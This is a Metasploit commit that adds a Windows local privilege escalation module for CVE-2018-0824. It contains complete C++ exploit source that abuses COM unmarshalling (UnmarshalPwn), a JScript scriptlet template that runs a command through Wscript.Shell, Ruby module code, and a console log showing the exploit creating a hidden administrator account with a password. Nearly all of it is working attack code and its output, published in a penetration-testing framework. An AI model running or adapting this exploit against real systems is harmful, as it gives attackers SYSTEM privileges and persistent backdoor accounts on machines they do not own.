Land #10561, Add Windows local privilege escalation - CVE-2018-0824

Merge branch 'land-10561' into upstream-master
GSoC/Meterpreter_Web_Console
bwatters-r7 2018-10-25 13:22:31 -05:00
commit b4c005c4d4
No known key found for this signature in database
GPG Key ID: ECC0F0A52E65F268
11 changed files with 1017 additions and 0 deletions

Binary file not shown.

View File

@ -0,0 +1,16 @@
<?xml version='1.0'?>
<package>
<component id='giffile'>
<registration
description='Dummy'
progid='giffile'
version='1.00'
remotable='True'>
</registration>
<script language='JScript'>
<![CDATA[
var q = new ActiveXObject('Wscript.Shell').Run("SCRIPTED_COMMAND");
]]>
</script>
</component>
</package>

View File

@ -0,0 +1,148 @@
## Overview
This is a post exploitation module for local privilege escalation bug
which exists in Microsoft COM for windows when it fails to properly
handle serialized objects.
* https://www.phpmyadmin.net/downloads/
* https://github.com/codewhitesec/UnmarshalPwn/
* https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-0824
## Module Options
"COMMAND" This command will be executed on successful escalation.</br>
"SESSION" The session to run this module on.
## Limitations
The payload will not spawn ant independent session it simply creates process with the system privilege.
If the system is not vulnerable, then payload will execute but new process will not spawn.
## Verification steps
If you want to confirm the vulnerability before you add user or perform any other sensitive action.
1. `set COMMAND /s notepad.exe`
2. `run`
Confirmation:
Then go to meterpreter session and confirm running process (ps)
If you see notepad.exe running as SYSYEM then that is as indication of vulnerable system.
## Usage
```
meterpreter > sysinfo
Computer : WIN10X64-1703
OS : Windows 10 (Build 15063).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter > execute -f cmd.exe -i -H
Process 4868 created.
Channel 7 created.
Microsoft Windows [Version 10.0.15063]
(c) 2017 Microsoft Corporation. All rights reserved.
C:\Users\msfuser\Downloads>net user
net user
User accounts for \\WIN10X64-1703
-------------------------------------------------------------------------------
Administrator DefaultAccount Guest
msfuser
The command completed successfully.
C:\Users\msfuser\Downloads>exit
exit
meterpreter > background
[*] Backgrounding session 1...
msf5 post(windows/escalate/unmarshal_cmd_exec) > show options
Module options (post/windows/escalate/unmarshal_cmd_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
COMMAND no The command to execute as SYSTEM (Can only be a cmd.exe builtin or Windows binary, (net user /add %RAND% %RAND% & net localgroup administrators /add <user>).
EXPLOIT_NAME no The filename to use for the exploit binary (%RAND% by default).
PATH no Path to write binaries (%TEMP% by default).
SCRIPT_NAME no The filename to use for the COM script file (%RAND% by default).
SESSION yes The session to run this module on.
msf5 post(windows/escalate/unmarshal_cmd_exec) > set command 'net user /add egypt h@ks4shellz & net localgroup administrators /add egypt'
command => net user /add egypt h@ks4shellz & net localgroup administrators /add egypt
msf5 post(windows/escalate/unmarshal_cmd_exec) > set verbose true
verbose => true
msf5 post(windows/escalate/unmarshal_cmd_exec) > run
[!] SESSION may not be compatible with this module.
[*] Attempting to PrivEsc on WIN10X64-1703 via session ID: 1
[*] exploit path is: C:\Users\msfuser\AppData\Local\Temp\hylZVjgbLrd.exe
[*] script path is: C:\Users\msfuser\AppData\Local\Temp\NCYcABO.sct
[*] command is: net user /add egypt h@ks4shellz & net localgroup administrators /add egypt
[*] Attempting to PrivEsc on WIN10X64-1703 via session ID: 1
[*] Uploading Script to C:\Users\msfuser\AppData\Local\Temp\NCYcABO.sct
[*] Creating the sct file with command net user /add egypt h@ks4shellz & net localgroup administrators /add egypt
[*] script_template_data.length = 306
[*] Writing 376 bytes to C:\Users\msfuser\AppData\Local\Temp\NCYcABO.sct to target
[*] Script uploaded successfully
[*] Uploading Exploit to C:\Users\msfuser\AppData\Local\Temp\hylZVjgbLrd.exe
[*] Exploit uploaded on WIN10X64-1703 to C:\Users\msfuser\AppData\Local\Temp\hylZVjgbLrd.exe
[*] Launching Exploit...
[*] Query for IStorage
Call: Stat
End: Stat
Query for IMarshal
Call: GetMarshalSizeMax
Unknown IID: {ECC8691B-C1DB-4DC0-855E-65F6C551AF49} 0000017F6C3E05B0
Query for IMarshal
Call: GetUnmarshalClass
Call: GetMarshalSizeMax
Call: MarshalInterface
[+] Exploit Completed
[*] C:\Users\msfuser\AppData\Local\Temp\hylZVjgbLrd.exe already exists on the target. Deleting...
[*] Deleted C:\Users\msfuser\AppData\Local\Temp\hylZVjgbLrd.exe
[*] C:\Users\msfuser\AppData\Local\Temp\NCYcABO.sct already exists on the target. Deleting...
[*] Deleted C:\Users\msfuser\AppData\Local\Temp\NCYcABO.sct
[*] Post module execution completed
msf5 post(windows/escalate/unmarshal_cmd_exec) > sessions -i -1
[*] Starting interaction with 1...
meterpreter > execute -f cmd.exe -i -H
Process 1780 created.
Channel 11 created.
Microsoft Windows [Version 10.0.15063]
(c) 2017 Microsoft Corporation. All rights reserved.
C:\Users\msfuser\Downloads>net user
net user
User accounts for \\WIN10X64-1703
-------------------------------------------------------------------------------
Administrator DefaultAccount egypt
Guest msfuser
The command completed successfully.
C:\Users\msfuser\Downloads>net localgroup administrators
net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
egypt
msfuser
The command completed successfully.
C:\Users\msfuser\Downloads>
```

View File

@ -0,0 +1,419 @@
// UnmarshalPwn.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include <stdio.h>
#include <tchar.h>
#include <string>
#include <comdef.h>
#include <winternl.h>
#include <ole2.h>
#include <Shlwapi.h>
#include <strsafe.h>
#include <vector>
#include <stdlib.h>
#pragma comment(lib, "shlwapi.lib")
GUID marshalInterceptorGUID = { 0xecabafcb,0x7f19,0x11d2,{ 0x97,0x8e,0x00,0x00,0xf8,0x75,0x7e,0x2a } };
GUID compositeMonikerGUID = { 0x00000309,0x0000,0x0000,{ 0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46 } };
UINT header[] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 };
UINT monikers[] = { 0x02,0x00,0x00,0x00 };
GUID newMonikerGUID = { 0xecabafc6,0x7f19,0x11d2,{ 0x97,0x8e,0x00,0x00,0xf8,0x75,0x7e,0x2a } };
GUID random;
OLECHAR* randomString;
static bstr_t IIDToBSTR(REFIID riid)
{
LPOLESTR str;
bstr_t ret = "Unknown";
if (SUCCEEDED(StringFromIID(riid, &str)))
{
ret = str;
CoTaskMemFree(str);
}
return ret;
}
unsigned char const* GuidToByteArray(GUID const& g)
{
return reinterpret_cast<unsigned char const*>(&g);
}
class FakeObject : public IMarshal, public IStorage
{
LONG m_lRefCount;
IStoragePtr _stg;
wchar_t *pFilePath = NULL;
public:
//Constructor, Destructor
FakeObject(IStoragePtr storage, wchar_t *pValue) {
_stg = storage;
m_lRefCount = 1;
pFilePath = pValue;
}
~FakeObject() {};
//IUnknown
HRESULT __stdcall QueryInterface(REFIID riid, LPVOID *ppvObj)
{
if (riid == __uuidof(IUnknown))
{
printf("Query for IUnknown\n");
*ppvObj = this;
}
else if (riid == __uuidof(IStorage))
{
printf("Query for IStorage\n");
*ppvObj = static_cast<IStorage*>(this);
}
else if (riid == __uuidof(IMarshal))
{
printf("Query for IMarshal\n");
*ppvObj = static_cast<IMarshal*>(this);
}
else
{
printf("Unknown IID: %ls %p\n", IIDToBSTR(riid).GetBSTR(), this);
*ppvObj = NULL;
return E_NOINTERFACE;
}
((IUnknown*)*ppvObj)->AddRef();
return NOERROR;
}
ULONG __stdcall AddRef()
{
return InterlockedIncrement(&m_lRefCount);
}
ULONG __stdcall Release()
{
ULONG ulCount = InterlockedDecrement(&m_lRefCount);
if (0 == ulCount)
{
delete this;
}
return ulCount;
}
virtual HRESULT STDMETHODCALLTYPE CreateStream(
/* [string][in] */ __RPC__in_string const OLECHAR *pwcsName,
/* [in] */ DWORD grfMode,
/* [in] */ DWORD reserved1,
/* [in] */ DWORD reserved2,
/* [out] */ __RPC__deref_out_opt IStream **ppstm) {
printf("Call: CreateStream\n");
return _stg->CreateStream(pwcsName, grfMode, reserved1, reserved2, ppstm);
}
virtual /* [local] */ HRESULT STDMETHODCALLTYPE OpenStream(
/* [annotation][string][in] */
_In_z_ const OLECHAR *pwcsName,
/* [annotation][unique][in] */
_Reserved_ void *reserved1,
/* [in] */ DWORD grfMode,
/* [in] */ DWORD reserved2,
/* [annotation][out] */
_Outptr_ IStream **ppstm) {
printf("Call: OpenStream\n");
_stg->OpenStream(pwcsName, reserved1, grfMode, reserved2, ppstm);
return S_OK;
}
virtual HRESULT STDMETHODCALLTYPE CreateStorage(
/* [string][in] */ __RPC__in_string const OLECHAR *pwcsName,
/* [in] */ DWORD grfMode,
/* [in] */ DWORD reserved1,
/* [in] */ DWORD reserved2,
/* [out] */ __RPC__deref_out_opt IStorage **ppstg) {
printf("Call: CreateStorage\n");
_stg->CreateStorage(pwcsName, grfMode, reserved1, reserved2, ppstg);
return S_OK;
}
virtual HRESULT STDMETHODCALLTYPE OpenStorage(
/* [string][unique][in] */ __RPC__in_opt_string const OLECHAR *pwcsName,
/* [unique][in] */ __RPC__in_opt IStorage *pstgPriority,
/* [in] */ DWORD grfMode,
/* [unique][in] */ __RPC__deref_opt_in_opt SNB snbExclude,
/* [in] */ DWORD reserved,
/* [out] */ __RPC__deref_out_opt IStorage **ppstg) {
printf("Call: OpenStorage\n");
_stg->OpenStorage(pwcsName, pstgPriority, grfMode, snbExclude, reserved, ppstg);
return S_OK;
}
virtual /* [local] */ HRESULT STDMETHODCALLTYPE CopyTo(
/* [in] */ DWORD ciidExclude,
/* [annotation][size_is][unique][in] */
_In_reads_opt_(ciidExclude) const IID *rgiidExclude,
/* [annotation][unique][in] */
_In_opt_ SNB snbExclude,
/* [annotation][unique][in] */
_In_ IStorage *pstgDest) {
printf("Call: CopyTo\n");
_stg->CopyTo(ciidExclude, rgiidExclude, snbExclude, pstgDest);
return S_OK;
}
virtual HRESULT STDMETHODCALLTYPE MoveElementTo(
/* [string][in] */ __RPC__in_string const OLECHAR *pwcsName,
/* [unique][in] */ __RPC__in_opt IStorage *pstgDest,
/* [string][in] */ __RPC__in_string const OLECHAR *pwcsNewName,
/* [in] */ DWORD grfFlags) {
printf("Call: MoveElementTo\n");
_stg->MoveElementTo(pwcsName, pstgDest, pwcsNewName, grfFlags);
return S_OK;
}
virtual HRESULT STDMETHODCALLTYPE Commit(
/* [in] */ DWORD grfCommitFlags) {
printf("Call: Commit\n");
_stg->Commit(grfCommitFlags);
return S_OK;
}
virtual HRESULT STDMETHODCALLTYPE Revert(void) {
printf("Call: Revert\n");
return S_OK;
}
virtual /* [local] */ HRESULT STDMETHODCALLTYPE EnumElements(
/* [annotation][in] */
_Reserved_ DWORD reserved1,
/* [annotation][size_is][unique][in] */
_Reserved_ void *reserved2,
/* [annotation][in] */
_Reserved_ DWORD reserved3,
/* [annotation][out] */
_Outptr_ IEnumSTATSTG **ppenum) {
printf("Call: EnumElements\n");
_stg->EnumElements(reserved1, reserved2, reserved3, ppenum);
return S_OK;
}
virtual HRESULT STDMETHODCALLTYPE DestroyElement(
/* [string][in] */ __RPC__in_string const OLECHAR *pwcsName) {
printf("Call: DestroyElement\n");
_stg->DestroyElement(pwcsName);
return S_OK;
}
virtual HRESULT STDMETHODCALLTYPE RenameElement(
/* [string][in] */ __RPC__in_string const OLECHAR *pwcsOldName,
/* [string][in] */ __RPC__in_string const OLECHAR *pwcsNewName) {
printf("Call: RenameElement\n");
return S_OK;
};
virtual HRESULT STDMETHODCALLTYPE SetElementTimes(
/* [string][unique][in] */ __RPC__in_opt_string const OLECHAR *pwcsName,
/* [unique][in] */ __RPC__in_opt const FILETIME *pctime,
/* [unique][in] */ __RPC__in_opt const FILETIME *patime,
/* [unique][in] */ __RPC__in_opt const FILETIME *pmtime) {
printf("Call: SetElementTimes\n");
return S_OK;
}
virtual HRESULT STDMETHODCALLTYPE SetClass(
/* [in] */ __RPC__in REFCLSID clsid) {
printf("Call: SetClass\n");
return S_OK;
}
virtual HRESULT STDMETHODCALLTYPE SetStateBits(
/* [in] */ DWORD grfStateBits,
/* [in] */ DWORD grfMask) {
printf("Call: SetStateBits\n");
return S_OK;
}
virtual HRESULT STDMETHODCALLTYPE Stat(
/* [out] */ __RPC__out STATSTG *pstatstg,
/* [in] */ DWORD grfStatFlag) {
printf("Call: Stat\n");
HRESULT hr = 0;
size_t len = 0;
len = wcsnlen_s(randomString, MAX_PATH) + 1;
PWCHAR s = (PWCHAR)CoTaskMemAlloc(len * sizeof(WCHAR));
wcscpy_s(s, len, randomString);
pstatstg[0].pwcsName = s;
hr = _stg->Stat(pstatstg, grfStatFlag);
printf("End: Stat\n");
return S_OK;
}
virtual HRESULT STDMETHODCALLTYPE GetUnmarshalClass(
/* [annotation][in] */
_In_ REFIID riid,
/* [annotation][unique][in] */
_In_opt_ void *pv,
/* [annotation][in] */
_In_ DWORD dwDestContext,
/* [annotation][unique][in] */
_Reserved_ void *pvDestContext,
/* [annotation][in] */
_In_ DWORD mshlflags,
/* [annotation][out] */
_Out_ CLSID *pCid)
{
printf("Call: GetUnmarshalClass\n");
*pCid = marshalInterceptorGUID; // ECABAFCB-7F19-11D2-978E-0000F8757E2A
return S_OK;
}
virtual HRESULT STDMETHODCALLTYPE GetMarshalSizeMax(
/* [annotation][in] */
_In_ REFIID riid,
/* [annotation][unique][in] */
_In_opt_ void *pv,
/* [annotation][in] */
_In_ DWORD dwDestContext,
/* [annotation][unique][in] */
_Reserved_ void *pvDestContext,
/* [annotation][in] */
_In_ DWORD mshlflags,
/* [annotation][out] */
_Out_ DWORD *pSize)
{
printf("Call: GetMarshalSizeMax\n");
*pSize = 1024;
return S_OK;
}
virtual HRESULT STDMETHODCALLTYPE MarshalInterface(
/* [annotation][unique][in] */
_In_ IStream *pStm,
/* [annotation][in] */
_In_ REFIID riid,
/* [annotation][unique][in] */
_In_opt_ void *pv,
/* [annotation][in] */
_In_ DWORD dwDestContext,
/* [annotation][unique][in] */
_Reserved_ void *pvDestContext,
/* [annotation][in] */
_In_ DWORD mshlflags)
{
printf("Call: MarshalInterface\n");
ULONG written = 0;
HRESULT hr = 0;
pStm->Write(header, 12, &written);
pStm->Write(GuidToByteArray(marshalInterceptorGUID), 16, &written);
IMonikerPtr fileMoniker;
IMonikerPtr newMoniker;
IBindCtxPtr context;
pStm->Write(monikers, 4, &written);
pStm->Write(GuidToByteArray(compositeMonikerGUID), 16, &written);
pStm->Write(monikers, 4, &written);
hr = CreateBindCtx(0, &context);
hr = CreateFileMoniker(pFilePath, &fileMoniker);
hr = CoCreateInstance(newMonikerGUID, NULL, CLSCTX_ALL, IID_IUnknown, (LPVOID*)&newMoniker);
hr = OleSaveToStream(fileMoniker, pStm);
hr = OleSaveToStream(newMoniker, pStm);
return S_OK;
}
virtual HRESULT STDMETHODCALLTYPE UnmarshalInterface(
/* [annotation][unique][in] */
_In_ IStream *pStm,
/* [annotation][in] */
_In_ REFIID riid,
/* [annotation][out] */
_Outptr_ void **ppv)
{
printf("Call: UnmarshalInterface\n");
return E_NOTIMPL;
}
virtual HRESULT STDMETHODCALLTYPE ReleaseMarshalData(
/* [annotation][unique][in] */
_In_ IStream *pStm)
{
printf("Call: ReleaseMarshalData\n");
return S_OK;
}
virtual HRESULT STDMETHODCALLTYPE DisconnectObject(
/* [annotation][in] */
_In_ DWORD dwReserved)
{
printf("Call: DisconnectObject\n");
return S_OK;
}
};
static HRESULT Check(HRESULT hr)
{
if (FAILED(hr))
{
throw _com_error(hr);
}
return hr;
}
void Exploit(wchar_t *pValue)
{
HRESULT hr = 0;
IStoragePtr storage = nullptr;
MULTI_QI* qi = new MULTI_QI[1];
GUID target_GUID = { 0x7d096c5f,0xac08,0x4f1f,{ 0xbe,0xb7,0x5c,0x22,0xc5,0x17,0xce,0x39 } };
hr = CoCreateGuid(&random);
StringFromCLSID(random, &randomString);
StgCreateDocfile(randomString, STGM_CREATE | STGM_READWRITE | STGM_SHARE_EXCLUSIVE, 0, &storage);
IStoragePtr pFake = new FakeObject(storage, pValue);
qi[0].pIID = &IID_IUnknown;
qi[0].pItf = NULL;
qi[0].hr = 0;
CoGetInstanceFromIStorage(NULL, &target_GUID, NULL, CLSCTX_LOCAL_SERVER, pFake, 1, qi);
}
class CoInit
{
public:
CoInit()
{
Check(CoInitialize(nullptr));
Check(CoInitializeSecurity(nullptr, -1, nullptr, nullptr, RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, NULL, nullptr));
}
~CoInit()
{
CoUninitialize();
}
};
int wmain(int argc, wchar_t** argv)
{
try
{
CoInit ci;
Exploit(argv[1]);
}
catch (const _com_error& err)
{
printf("Error: %ls\n", err.ErrorMessage());
}
return 0;
}

View File

@ -0,0 +1,28 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 2013
VisualStudioVersion = 12.0.21005.1
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "UnmarshalPwn", "UnmarshalPwn.vcxproj", "{A6D839B1-7270-4632-BD2E-733A6061E91B}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Win32 = Debug|Win32
Debug|x64 = Debug|x64
Release|Win32 = Release|Win32
Release|x64 = Release|x64
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{A6D839B1-7270-4632-BD2E-733A6061E91B}.Debug|Win32.ActiveCfg = Debug|Win32
{A6D839B1-7270-4632-BD2E-733A6061E91B}.Debug|Win32.Build.0 = Debug|Win32
{A6D839B1-7270-4632-BD2E-733A6061E91B}.Debug|x64.ActiveCfg = Debug|x64
{A6D839B1-7270-4632-BD2E-733A6061E91B}.Debug|x64.Build.0 = Debug|x64
{A6D839B1-7270-4632-BD2E-733A6061E91B}.Release|Win32.ActiveCfg = Release|x64
{A6D839B1-7270-4632-BD2E-733A6061E91B}.Release|Win32.Build.0 = Release|x64
{A6D839B1-7270-4632-BD2E-733A6061E91B}.Release|x64.ActiveCfg = Release|x64
{A6D839B1-7270-4632-BD2E-733A6061E91B}.Release|x64.Build.0 = Release|x64
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal

View File

@ -0,0 +1,166 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>15.0</VCProjectVersion>
<ProjectGuid>{A6D839B1-7270-4632-BD2E-733A6061E91B}</ProjectGuid>
<Keyword>Win32Proj</Keyword>
<RootNamespace>UnmarshalPwn</RootNamespace>
<WindowsTargetPlatformVersion>10.0.16299.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v120</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClInclude Include="stdafx.h" />
<ClInclude Include="targetver.h" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="stdafx.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
</ClCompile>
<ClCompile Include="UnmarshalPwn.cpp" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@ -0,0 +1,33 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClInclude Include="stdafx.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="targetver.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ClCompile Include="stdafx.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="UnmarshalPwn.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
</Project>

View File

@ -0,0 +1,8 @@
// stdafx.cpp : source file that includes just the standard includes
// UnmarshalPwn.pch will be the pre-compiled header
// stdafx.obj will contain the pre-compiled type information
#include "stdafx.h"
// TODO: reference any additional headers you need in STDAFX.H
// and not in this file

View File

@ -0,0 +1,15 @@
// stdafx.h : include file for standard system include files,
// or project specific include files that are used frequently, but
// are changed infrequently
//
#pragma once
#include "targetver.h"
#include <stdio.h>
#include <tchar.h>
// TODO: reference additional headers your program requires here

View File

@ -0,0 +1,8 @@
#pragma once
// Including SDKDDKVer.h defines the highest available Windows platform.
// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and
// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.
#include <SDKDDKVer.h>

View File

@ -0,0 +1,176 @@
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/windows/priv'
class MetasploitModule < Msf::Post
include Msf::Post::Common
include Msf::Post::File
# include Msf::Post::Windows::Priv
def initialize(info = {})
super(update_info(info,
'Name' => 'Windows unmarshal post exploitation',
'Description' => %q{
This module exploits a local privilege escalation bug which exists
in microsoft COM for windows when it fails to properly handle serialized objects.},
'References' =>
[
['CVE', '2018-0824'],
['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-0824'],
['URL', 'https://github.com/x73x61x6ex6ax61x79/UnmarshalPwn'],
['EDB', '44906']
],
'Author' =>
[
'Nicolas Joly', # Vulnerability discovery
'Matthias Kaiser', # Exploit PoC
'Sanjay Gondaliya', # Modified PoC
'Pratik Shah <pratik@notsosecure.com>' # Metasploit module
],
'DisclosureDate' => 'Aug 05 2018',
'Platform' => ['win'],
'Targets' =>
[
['Windows x64', { 'Arch' => ARCH_X64 }]
],
'License' => MSF_LICENSE,
))
register_options(
[
OptString.new('COMMAND',
[false, 'The command to execute as SYSTEM (Can only be a cmd.exe builtin or Windows binary, (net user /add %RAND% %RAND% & net localgroup administrators /add <user>).', nil]),
OptString.new('EXPLOIT_NAME',
[false, 'The filename to use for the exploit binary (%RAND% by default).', nil]),
